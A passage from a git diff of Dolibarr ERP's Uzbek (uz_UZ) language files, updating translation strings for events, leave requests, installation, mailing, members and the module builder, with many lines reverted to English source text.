siz tadbir davomida jonlantirish uchun yangi konferentsiya taklif qilishingiz mumkin. EvntOrgRegistrationBoothHelpMessage = Bu erda siz tadbir davomida stendga ega bo'lish uchun ariza berishingiz mumkin. ListOfSuggestedConferences = Tavsiya etilgan konferentsiyalar ro'yxati -ListOfSuggestedBooths = Tavsiya etilgan kabinalar ro'yxati -ListOfConferencesOrBooths=Loyiha konferentsiyalari yoki stendlari ro'yxati +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Yangi konferentsiyani taklif eting SuggestBooth = Stendni taklif qiling ViewAndVote = Taklif etilgan tadbirlarni ko'ring va ovoz bering PublicAttendeeSubscriptionGlobalPage = Tadbirga ro'yxatdan o'tish uchun ochiq havola PublicAttendeeSubscriptionPage = Faqat ushbu tadbirga ro'yxatdan o'tish uchun ochiq havola MissingOrBadSecureKey = Elektron kalit yaroqsiz yoki yo'q -EvntOrgWelcomeMessage = Ushbu shakl sizga tadbirning yangi ishtirokchisi sifatida ro'yxatdan o'tishga imkon beradi: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Ushbu anjuman %s da boshlanadi va %s da tugaydi. ConferenceAttendeeFee = Tadbir uchun konferentsiya qatnashchilari uchun to'lov: '%s' %s dan %s gacha. BoothLocationFee = Hodisa uchun stend joylashuvi: %s dan %s gacha bo'lgan '%s'. @@ -130,7 +133,7 @@ LabelOfconference=Konferentsiya yorlig'i ConferenceIsNotConfirmed=Ro'yxatdan o'tish mumkin emas, konferentsiya hali tasdiqlanmagan DateMustBeBeforeThan=%s %sdan oldin bo'lishi kerak DateMustBeAfterThan=%s %s dan keyin bo'lishi kerak - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Ro'yxatdan o'tish OrganizationEventConfRequestWasReceived=Sizning konferentsiya haqidagi taklifingiz qabul qilindi OrganizationEventBoothRequestWasReceived=Stend uchun so'rovingiz qabul qilindi @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Tadbirni ro'yxatdan o'tkazish OrganizationEventBulkMailToAttendees=Bu sizning tadbirda ishtirokchi sifatida ishtirok etishingizni eslatadi OrganizationEventBulkMailToSpeakers=Bu sizning ma'ruzachi sifatida tadbirda ishtirok etishingizni eslatadi OrganizationEventLinkToThirdParty=Uchinchi shaxsga havola (mijoz, yetkazib beruvchi yoki hamkor) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Stend uchun ariza NewSuggestionOfConference=Konferentsiya uchun ariza @@ -154,7 +158,7 @@ VoteOk = Sizning ovozingiz qabul qilindi. AlreadyVoted = Siz ushbu tadbir uchun allaqachon ovoz bergansiz. VoteError = Ovoz berish paytida xatolik yuz berdi, qayta urinib ko'ring. -SubscriptionOk = Sizning ro'yxatdan o'tishingiz tasdiqlandi +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Tadbirga obunangizni tasdiqlash Attendee = Ishtirokchi PaymentConferenceAttendee = Konferentsiya qatnashchilarining to'lovlari @@ -162,6 +166,7 @@ PaymentBoothLocation = Stend joylashgan joy uchun to'lov DeleteConferenceOrBoothAttendee=Ishtirokchini olib tashlash RegistrationAndPaymentWereAlreadyRecorder= %s elektron pochta uchun ro'yxatdan o'tish va to'lov allaqachon qayd qilingan. EmailAttendee=Ishtirokchining elektron pochtasi +EmailCompany=Company email EmailCompanyForInvoice=Kompaniyaning elektron pochtasi (hisob -faktura uchun, agar ishtirokchining elektron pochtasi boshqacha bo'lsa) ErrorSeveralCompaniesWithEmailContactUs=Bu elektron pochtaga ega bo'lgan bir nechta kompaniyalar topildi, shuning uchun biz sizning ro'yxatdan o'tishingizni avtomatik tarzda tasdiqlay olmaymiz. Iltimos, qo'lda tekshirish uchun %s biz bilan bog'laning ErrorSeveralCompaniesWithNameContactUs=Bu nomdagi bir nechta kompaniyalar topilgan, shuning uchun biz sizning ro'yxatdan o'tishingizni avtomatik tarzda tasdiqlay olmaymiz. Iltimos, qo'lda tekshirish uchun %s biz bilan bog'laning diff --git a/htdocs/langs/uz_UZ/holiday.lang b/htdocs/langs/uz_UZ/holiday.lang index 761eafd5b14..c3dc00371dc 100644 --- a/htdocs/langs/uz_UZ/holiday.lang +++ b/htdocs/langs/uz_UZ/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Keting +Holidays=Leaves +Holiday=Leave CPTitreMenu=Keting MenuReportMonth=Oylik bayonot MenuAddCP=Yangi ta'til so'rovi +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Ushbu sahifani ko'rish uchun "Ketish" modulini yoqishingiz kerak. AddCP=Dam olish to'g'risida so'rov yuboring DateDebCP=Boshlanish vaqti @@ -56,6 +58,7 @@ ConfirmDeleteCP=Ushbu ta'til so'rovi o'chirilganligini tasdiqlaysizmi? ErrorCantDeleteCP=Xatolik, ushbu ta'tilni o'chirish huquqiga ega emassiz. CantCreateCP=Sizda ta'tilga chiqish to'g'risida so'rov yuborish huquqingiz yo'q. InvalidValidatorCP=Ta'tilga chiqish uchun tasdiqlovchini tanlashingiz kerak. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Boshlanish sanasini tanlashingiz kerak. NoDateFin=Tugash sanasini tanlashingiz kerak. ErrorDureeCP=Sizning ta'til so'rovingiz ish kunini o'z ichiga olmaydi. @@ -79,6 +82,8 @@ MotifCP=Sabab UserCP=Foydalanuvchi ErrorAddEventToUserCP=Istisno ta'tilini qo'shishda xatolik yuz berdi. AddEventToUserOkCP=Istisno ta'tiliga qo'shilish tugallandi. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=O'zgarish jurnallarini ko'rish LogCP="Ta'til balansi" ga kiritilgan barcha yangilanishlar jurnali ActionByCP=Tomonidan yangilangan @@ -86,6 +91,13 @@ UserUpdateCP=Uchun yangilangan PrevSoldeCP=Oldingi qoldiq NewSoldeCP=Yangi balans alreadyCPexist=Ushbu davrda ta'til so'ralgan. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Ta'tilga chiqish kunining boshlanishi LastDayOfHoliday=Ta'tilni talab qilish kuni tugaydi BoxTitleLastLeaveRequests=Oxirgi %s o'zgartirilgan ta'til so'rovlari @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s odatda NON ish kuni hisoblanadi BlockHolidayIfNegative=Balans salbiy bo'lsa blokirovka qiling LeaveRequestCreationBlockedBecauseBalanceIsNegative=Balansingiz manfiy bo‘lgani uchun ta’til so‘rovini yaratish bloklandi ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Qoldirish soʻrovi %s qoralama boʻlishi, bekor qilinishi yoki oʻchirish rad etilishi kerak +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/uz_UZ/install.lang b/htdocs/langs/uz_UZ/install.lang index acc7e24720e..1a3a0f12097 100644 --- a/htdocs/langs/uz_UZ/install.lang +++ b/htdocs/langs/uz_UZ/install.lang @@ -51,7 +51,6 @@ DatabaseName=Ma'lumotlar bazasi nomi DatabasePrefix=Ma'lumotlar bazasi jadvali prefiksi DatabasePrefixDescription=Ma'lumotlar bazasi jadvali prefiksi. Bo'sh bo'lsa, sukut bo'yicha llx_. AdminLogin=Dolibarr ma'lumotlar bazasi egasi uchun foydalanuvchi qayd yozuvi. -PasswordAgain=Parolni tasdiqlashni qayta kiriting AdminPassword=Dolibarr ma'lumotlar bazasi egasi uchun parol. CreateDatabase=Ma'lumotlar bazasini yaratish CreateUser=Dolibarr ma'lumotlar bazasida foydalanuvchi hisobini yarating yoki foydalanuvchi hisobiga ruxsat bering @@ -89,7 +88,7 @@ LoginAlreadyExists=Allaqachon mavjud DolibarrAdminLogin=Dolibarr administratori bilan kirish AdminLoginAlreadyExists=Dolibarr administrator hisobi ' %s ' allaqachon mavjud. Agar boshqasini yaratmoqchi bo'lsangiz, orqaga qayting. FailedToCreateAdminLogin=Dolibarr administratori hisobini yaratib bo'lmadi. -WarningRemoveInstallDir=Diqqat, xavfsizlik sababli, o'rnatish yoki yangilash tugallangandan so'ng, o'rnatish vositalarining tasodifiy / zararli ishlatilishining oldini olish uchun Dolibarr hujjatlar katalogiga install.lock deb nomlangan faylni qo'shishingiz kerak. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Ushbu PHP-da mavjud emas ChoosedMigrateScript=Ko'chirish skriptini tanlang DataMigration=Ma'lumotlar bazasining ko'chishi (ma'lumotlar) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Mavjud bo'lmagan variantlarni yashirish ErrorFoundDuringMigration=Migratsiya jarayonida xato (lar) haqida xabar berilgan, shuning uchun keyingi qadam mavjud emas. Xatolarni e'tiborsiz qoldirish uchun siz tugmachasini bosishingiz mumkin, ammo xatolar echilmaguncha dastur yoki ba'zi funktsiyalar to'g'ri ishlamasligi mumkin. YouTryInstallDisabledByDirLock=Ilova o'z-o'zini yangilashga harakat qildi, lekin xavfsizlik / o'rnatish uchun sahifalar o'chirildi (katalog nomi .lock qo'shimchasi bilan o'zgartirildi).
      YouTryInstallDisabledByFileLock=Ilova o'zini o'zi yangilashga harakat qildi, lekin xavfsizlik / o'rnatish uchun sahifalar o'chirilgan (dolibarr hujjatlar katalogida install.lock blokirovka fayli mavjudligi sababli).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Arizangizga o'tish uchun shu erni bosing ClickOnLinkOrRemoveManualy=Agar yangilanish davom etayotgan bo'lsa, iltimos, kuting. Agar yo'q bo'lsa, quyidagi havolani bosing. Agar siz doimo shu sahifani ko'rsangiz, hujjatlar katalogidagi install.lock faylini olib tashlashingiz yoki nomini o'zgartirishingiz kerak. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Yuklandi FunctionTest=Funktsiya sinovi +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/uz_UZ/interventions.lang b/htdocs/langs/uz_UZ/interventions.lang index de093348384..85fedccac39 100644 --- a/htdocs/langs/uz_UZ/interventions.lang +++ b/htdocs/langs/uz_UZ/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Interventsiya yozuvlari uchun sana maydonidan tash InterventionStatistics=Ta'sirlarning statistikasi NbOfinterventions=Interventsiya kartalari soni NumberOfInterventionsByMonth=Oy bo'yicha aralashuv kartalarining soni (tasdiqlangan sana) -AmountOfInteventionNotIncludedByDefault=Interventsiya miqdori sukut bo'yicha foydaga qo'shilmaydi (ko'p hollarda ish vaqt jadvallari sarflangan vaqtni hisoblash uchun ishlatiladi). 1-ga PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT variantini qo'shib qo'yish uchun ularni uyga o'rnatish-ga qo'shing. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Interferentsiya id InterRef=Aralashish ref. InterDateCreation=Sana yaratishga aralashish @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Siz aralashuvni qayta ochishni xohlaysizmi %s GenerateInter=Interventsiya yarating FichinterNoContractLinked=Intervention %s bog'langan shartnomasiz yaratilgan. ErrorFicheinterCompanyDoesNotExist=Kompaniya mavjud emas. Intervensiya yaratilmagan. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/uz_UZ/loan.lang b/htdocs/langs/uz_UZ/loan.lang index bdd45c1798b..6170dfea12c 100644 --- a/htdocs/langs/uz_UZ/loan.lang +++ b/htdocs/langs/uz_UZ/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Agar jadvaldan foydalansangiz, foizlarni o'zgartira olmaysiz # Admin ConfigLoan=Modulli kreditni sozlash -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Sukut bo'yicha buxgalteriya hisobi kapitali -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Sukut bo'yicha buxgalteriya hisobi foizlari -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Sukut bo'yicha buxgalteriya hisobini sug'urtalash +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Moliyaviy majburiyatni tahrirlash diff --git a/htdocs/langs/uz_UZ/mailmanspip.lang b/htdocs/langs/uz_UZ/mailmanspip.lang index c403293b784..4465f2e4267 100644 --- a/htdocs/langs/uz_UZ/mailmanspip.lang +++ b/htdocs/langs/uz_UZ/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Obuna testi muvaffaqiyatli bajarildi MailmanDeletionSuccess=Obunani bekor qilish testi muvaffaqiyatli bajarildi SynchroMailManEnabled=Pochta xizmatining yangilanishi amalga oshiriladi SynchroSpipEnabled=Spip yangilanishi amalga oshiriladi -DescADHERENT_MAILMAN_ADMINPW=Pochtachi ma'murining paroli +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=Pochtachi obunalari uchun URL manzili DescADHERENT_MAILMAN_UNSUB_URL=Pochtachi obunalarini bekor qilish uchun URL manzili DescADHERENT_MAILMAN_LISTS=Yangi a'zolarni avtomatik ravishda yozish uchun ro'yxat (lar) (vergul bilan ajratilgan) diff --git a/htdocs/langs/uz_UZ/mails.lang b/htdocs/langs/uz_UZ/mails.lang index 624ee5c9967..331b9b855ea 100644 --- a/htdocs/langs/uz_UZ/mails.lang +++ b/htdocs/langs/uz_UZ/mails.lang @@ -7,10 +7,10 @@ MailCard=Elektron pochta kartasi MailRecipients=Qabul qiluvchilar MailRecipient=Qabul qiluvchi MailTitle=Tavsif -MailFrom=Yuboruvchi +MailFrom=From MailErrorsTo=Xatolar MailReply=Ga javob -MailTo=Qabul qiluvchilar (lar) +MailTo=To MailToUsers=Foydalanuvchi (lar) ga MailCC=Nusxalash MailToCCUsers=Foydalanuvchilar (lar) ga nusxalash @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Kontaktlar joylashuvi bo'yicha MailingModuleDescEmailsFromFile=Fayldan elektron pochta xabarlari MailingModuleDescEmailsFromUser=Foydalanuvchi tomonidan kiritilgan elektron pochta xabarlari MailingModuleDescDolibarrUsers=Elektron pochta xabarlari bo'lgan foydalanuvchilar -MailingModuleDescThirdPartiesByCategories=Uchinchi shaxslar (toifalar bo'yicha) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Veb-interfeysdan yuborishga yo'l qo'yilmaydi. EmailCollectorFilterDesc=Elektron pochta to'planishi uchun barcha filtrlar mos kelishi kerak @@ -178,3 +178,5 @@ IsAnAnswer=Dastlabki elektron pochtaning javobi RecordCreatedByEmailCollector=%s elektron pochtasidan elektron pochta yig'uvchisi %s tomonidan yaratilgan yozuv DefaultBlacklistMailingStatus=Yangi kontakt yaratishda "%s" maydonining standart qiymati DefaultStatusEmptyMandatory=Bo'sh, ammo majburiy +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/uz_UZ/main.lang b/htdocs/langs/uz_UZ/main.lang index 988227de258..91ca7aeebca 100644 --- a/htdocs/langs/uz_UZ/main.lang +++ b/htdocs/langs/uz_UZ/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=freemono FONTSIZEFORPDF=8 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Ushbu elektron pochta turi uchun shablon mavjud emas AvailableVariables=Mavjud almashtirish o'zgaruvchilari NoTranslation=Tarjima yo'q Translation=Tarjima +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Bo'sh bo'lmagan qidiruv mezonlarini kiriting EnterADateCriteria=Sana mezonlarini kiriting @@ -199,6 +206,7 @@ Valid=Yaroqli Approve=Tasdiqlash Disapprove=Tasdiqlamayman ReOpen=Qayta oching +OpenVerb=Open Upload=Yuklash ToLink=Havola Select=Tanlang @@ -216,8 +224,9 @@ UserGroup=Foydalanuvchilar guruhi UserGroups=Foydalanuvchi guruhlari NoUserGroupDefined=Hech qanday foydalanuvchi guruhi aniqlanmagan Password=Parol -PasswordRetype=Parolingizni qayta kiriting +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Ushbu namoyishda ko'plab funktsiyalar / modullar o'chirilganligini unutmang. +YourUserFile=Your user file Name=Ism NameSlashCompany=Ism / kompaniya Person=Shaxs @@ -481,6 +490,7 @@ ActionsOnContact=Ushbu aloqa / manzil uchun tadbirlar ActionsOnContract=Ushbu shartnoma bo'yicha tadbirlar ActionsOnMember=Ushbu a'zo haqidagi tadbirlar ActionsOnProduct=Ushbu mahsulot haqidagi tadbirlar +ActionsOnAsset=Events for this fixed asset NActionsLate=%s kech ToDo=Qilmoq Completed=Bajarildi @@ -888,6 +898,9 @@ MassFilesArea=Ommaviy harakatlar bilan qurilgan fayllar maydoni ShowTempMassFilesArea=Ommaviy harakatlar bilan qurilgan fayllar maydonini ko'rsating ConfirmMassDeletion=Ommaviy o'chirishni tasdiqlash ConfirmMassDeletionQuestion=Siz tanlagan %s yozuvlarini o'chirishni xohlaysizmi? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Tegishli ob'ektlar ClassifyBilled=Hisob-kitoblarni tasniflang ClassifyUnbilled=Hisob-kitob qilinmaganlarni tasniflang @@ -903,8 +916,8 @@ ExportFilteredList=Filtrlangan ro'yxatni eksport qilish ExportList=Eksport ro'yxati ExportOptions=Eksport parametrlari IncludeDocsAlreadyExported=Allaqachon eksport qilingan hujjatlarni qo'shib qo'ying -ExportOfPiecesAlreadyExportedIsEnable=Oldindan eksport qilingan qismlarni eksport qilish imkoniyati mavjud -ExportOfPiecesAlreadyExportedIsDisable=Oldindan eksport qilingan qismlarni eksport qilish o'chirilgan +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Eksport qilingan barcha harakatlar eksport sifatida qayd etildi NotAllExportedMovementsCouldBeRecordedAsExported=Barcha eksport qilingan harakatlarni eksport sifatida qayd etish mumkin emas Miscellaneous=Turli xil @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Shaxsiy yuklab olish havolasi PrivateDownloadLinkDesc=Siz tizimga kirishingiz kerak va faylni ko'rish yoki yuklab olish uchun sizga ruxsat kerak Download=Yuklash DownloadDocument=Hujjatni yuklab oling +DownloadSignedDocument=Download signed document ActualizeCurrency=Valyuta kursini yangilang Fiscalyear=Moliyaviy yil ModuleBuilder=Modul va dastur yaratuvchisi @@ -1046,6 +1060,7 @@ SearchIntoContracts=Shartnomalar SearchIntoCustomerShipments=Mijozlar jo'natmalari SearchIntoExpenseReports=Xarajatlar bo'yicha hisobotlar SearchIntoLeaves=Keting +SearchIntoKM=Knowledge base SearchIntoTickets=Chiptalar SearchIntoCustomerPayments=Mijozlar uchun to'lovlar SearchIntoVendorPayments=Sotuvchi uchun to'lovlar @@ -1117,6 +1132,7 @@ DeleteFileText=Haqiqatan ham ushbu faylni o'chirishni xohlaysizmi? ShowOtherLanguages=Boshqa tillarni ko'rsatish SwitchInEditModeToAddTranslation=Ushbu til uchun tarjimalarni qo'shish uchun tahrirlash rejimiga o'ting NotUsedForThisCustomer=Ushbu mijoz uchun ishlatilmaydi +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Miqdor ijobiy bo'lishi kerak ByStatus=Holati bo'yicha InformationMessage=Ma `lumot @@ -1137,15 +1153,29 @@ EventReminder=Voqealar to'g'risida eslatma UpdateForAllLines=Barcha satrlar uchun yangilash OnHold=Ushlab qolingan Civility=Fuqarolik -AffectTag=Tegga ta'sir qilish +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Tashqi foydalanuvchini yarating -ConfirmAffectTag=Ommaviy teg ta'sir qiladi -ConfirmAffectTagQuestion=Siz tanlangan %s yozuvlariga teglar ta'sir qilishni xohlaysizmi? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Yozuvlar turi uchun yorliq turi topilmadi +Rate=Tezlik +SupervisorNotFound=Supervisor not found CopiedToClipboard=Buferga nusxa olindi InformationOnLinkToContract=Ushbu miqdor faqat shartnomadagi barcha satrlarning jami hisoblanadi. Vaqt tushunchasi hisobga olinmaydi. ConfirmCancel=Bekor qilishni xohlaysizmi? EmailMsgID=MsgID-ga elektron pochta orqali yuboring +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Faol qilib sozlang SetToDisabled=O'chirib qo'yilgan ConfirmMassEnabling=tasdiqlashga imkon beradigan ommaviy @@ -1174,9 +1204,21 @@ Terminated=Tugatilgan AddLineOnPosition=Lavozimga qator qo'shing (bo'sh bo'lsa oxirida) ConfirmAllocateCommercial=Savdo vakilini tasdiqlashni tayinlang ConfirmAllocateCommercialQuestion=Haqiqatan ham %s tanlangan yozuv(lar)ni tayinlashni xohlaysizmi? -CommercialsAffected=Savdo vakillari zarar ko'rdi -CommercialAffected=Savdo vakili zarar ko'rdi +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Sizning xabaringiz qabul qilindi. Biz imkon qadar tezroq javob beramiz yoki siz bilan bog'lanamiz. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/uz_UZ/members.lang b/htdocs/langs/uz_UZ/members.lang index bf0b78bcdb3..79cd90d9140 100644 --- a/htdocs/langs/uz_UZ/members.lang +++ b/htdocs/langs/uz_UZ/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Another member (name: %s , ErrorUserPermissionAllowsToLinksToItselfOnly=Xavfsizlik nuqtai nazaridan, barcha foydalanuvchilarni tahrirlash uchun sizga o'zingizga tegishli bo'lmagan foydalanuvchi bilan bog'lanish uchun ruxsat berilishi kerak. SetLinkToUser=Dolibarr foydalanuvchisiga havola SetLinkToThirdParty=Dolibarr uchinchi tomoniga havola +MemberCountersArePublic=Counters of valid members are public MembersCards=A'zolar uchun kartalarni yaratish MembersList=A'zolar ro'yxati MembersListToValid=Loyiha a'zolari ro'yxati (tasdiqlanishi kerak) @@ -34,7 +35,8 @@ DateSubscription=Ro'yxatdan o'tish sanasi DateEndSubscription=A'zolikning tugash sanasi EndSubscription=Obunaning tugashi SubscriptionId=Hissa identifikatori -WithoutSubscription=Hissa qo'shmasdan +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Yangi a'zo @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=Ro'yxatdan turini o'chirib bo'lmaydi NewSubscription=Yangi hissa NewSubscriptionDesc=Ushbu shakl sizga obunangizni fondning yangi a'zosi sifatida qayd etish imkonini beradi. Agar siz obunangizni yangilamoqchi bo'lsangiz (agar u allaqachon a'zo bo'lsa), %s elektron pochta orqali poydevor kengashiga murojaat qiling. Subscription=Hissa -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Hissa SubscriptionLate=Kech SubscriptionNotReceived=Hissa hech qachon olinmagan @@ -204,10 +206,12 @@ SubscriptionsStatistics=Hisob -kitoblar statistikasi NbOfSubscriptions=Hissalar soni AmountOfSubscriptions=Hisob -kitoblardan yig'ilgan mablag ' TurnoverOrBudget=Tovar aylanmasi (kompaniya uchun) yoki byudjet (fond uchun) -DefaultAmount=Standart badal miqdori -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Onlayn to'lovlar sahifasiga o'ting +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Tabiatan MembersStatisticsByProperties=A'zolar statistikasi tabiatan VATToUseForSubscriptions=Hisob -kitoblar uchun QQS stavkasi @@ -228,3 +232,4 @@ CreateDolibarrLoginDesc=A'zolar uchun foydalanuvchi loginini yaratish ularga ilo CreateDolibarrThirdPartyDesc=Uchinchi tomon, agar siz har bir hissa uchun hisob -fakturani tuzishga qaror qilsangiz, hisob -fakturada ishlatiladigan yuridik shaxs. Hisobni yozish jarayonida siz uni keyinchalik yaratishingiz mumkin bo'ladi. MemberFirstname=A'zoning ismi MemberLastname=A'zo familiyasi +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/uz_UZ/modulebuilder.lang b/htdocs/langs/uz_UZ/modulebuilder.lang index d05cefad9a6..20e1b920f50 100644 --- a/htdocs/langs/uz_UZ/modulebuilder.lang +++ b/htdocs/langs/uz_UZ/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=Ushbu vositadan faqat tajribali foydalanuvchilar yoki ishlab chiquvchilar foydalanishi kerak. U o'z modulingizni yaratish yoki tahrirlash uchun yordamchi dasturlarni taqdim etadi. Muqobil qo'lda ishlab chiqish uchun hujjatlar bu yerda . EnterNameOfModuleDesc=Bo'sh joy qoldirmasdan yaratish uchun modul/ilova nomini kiriting. So'zlarni ajratish uchun katta harflardan foydalaning (masalan: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Yaratish uchun ob'ekt nomini bo'sh joysiz kiriting. So'zlarni ajratish uchun katta harflardan foydalaning (Masalan: MyObject, Student, Teacher...). CRUD sinf fayli, shuningdek, API fayli, ob'ektni ro'yxatga olish/qo'shish/tahrirlash/o'chirish sahifalari va SQL fayllari yaratiladi. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Boʻsh joy 